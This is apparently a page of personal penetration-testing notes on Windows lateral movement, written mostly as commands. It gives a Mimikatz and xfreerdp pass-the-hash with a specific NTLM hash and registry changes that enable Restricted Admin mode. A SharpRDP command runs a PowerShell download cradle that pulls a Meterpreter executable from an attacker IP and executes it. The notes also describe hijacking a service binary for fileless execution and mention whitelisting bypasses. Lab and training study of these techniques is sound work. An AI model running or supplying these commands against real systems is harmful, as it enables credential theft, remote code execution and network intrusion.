Windows Lateral Movement
RDP (GUI)
Common Operations (tty, SSH, rbash)chown chmod su ; windows prefer C:\ instead of /Turn on SMB (for impacket psexec / cme/nxc)
Set-SmbServerConfiguration -EnableSMB2Protocol $true
with Admin NTLM hash connecting to next victim
privilege::debug
sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin"
Clicking Connect opens an RDP session on {next victim hostname} as admin, achieving lateral movement with the native RDP client in Windows with only the NTLM hash.
xfreerdp /u:admin /pth:2892D26CDF84D7A70E2EB3B9F05C425E /v:192.168.120.6 /cert-ignore
Enable restricted admin mode
1) launch shell instance in admin user context
sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell
2) shell access to next victim
Enter-PSSession -Computer {next victim hostnam
3) create the registry entry & quit session
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
Exit
#alternative way
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v "DisableRestrictedAdmin" /t REG_DWORD /d 0 /f
RDP Console
Use SharpRDP to execute a PowerShell download cradle on appsrv01 that pulls the Meterpreter executable and subsequently executes it with stacked commands
host shell exe in web ser, set up listner
sharprdp.exe computername=appsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe', 'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe" username=corp1\dave password=lab
Fileless (admin -> SYSTEM)
PsExec authenticates to SMB on the target host and accesses the DCE/RPC interface. PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.
We can execute our code without registering a new service by updating the binary of an existing service and start the modified service with our target binary. Since we control the service binary, we can use a PowerShell download cradle to avoid saving a file to disk.
Lat.exe file05/dc02 SensorService “C:\temp\”
If endpoint protections such as application whitelisting are in place, this approach may not be as straightforward and may require a bypass (such as the use of InstallUtil or an XSL transform).
Last updated